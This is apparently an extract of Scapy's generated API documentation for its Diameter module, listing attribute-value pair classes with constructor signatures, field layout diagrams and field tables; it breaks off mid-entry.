class scapy.contrib.diameter.AVP_0_514(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1408-L1412]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_514                          


AVP_0_514 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_517(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1415-L1419]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_517                          


AVP_0_517 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_534(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1422-L1426]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_534                          


AVP_0_534 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_535(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1429-L1459]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_535                          


AVP_0_535 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_536(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1462-L1466]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_536                          


AVP_0_536 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_538(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1469-L1504]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_538                          


AVP_0_538 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_541(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1507-L1526]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_541                          


AVP_0_541 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_546(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1529-L1553]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_546                          


AVP_0_546 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_547(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1556-L1560]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_547                          


AVP_0_547 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_570(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1563-L1567]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_570                          


AVP_0_570 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_575(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1570-L1584]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_575                          


AVP_0_575 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_6(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L873-L899]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. AVP_0_6                           


AVP_0_6 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_61(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L977-L1019]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_61                           


AVP_0_61 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_64(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1022-L1042]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_64                           


AVP_0_64 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_65(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1045-L1067]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_65                           


AVP_0_65 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_7(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L902-L923]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. AVP_0_7                           


AVP_0_7 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_72(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1070-L1080]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_72                           


AVP_0_72 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_76(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1083-L1089]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_76                           


AVP_0_76 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1000(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2093-L2096]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1000                        


AVP_10415_1000 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1006(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2099-L2156]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1006                        


AVP_10415_1006 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1007(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2159-L2162]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1007                        


AVP_10415_1007 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1008(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2165-L2168]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1008                        


AVP_10415_1008 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1009(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2171-L2174]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
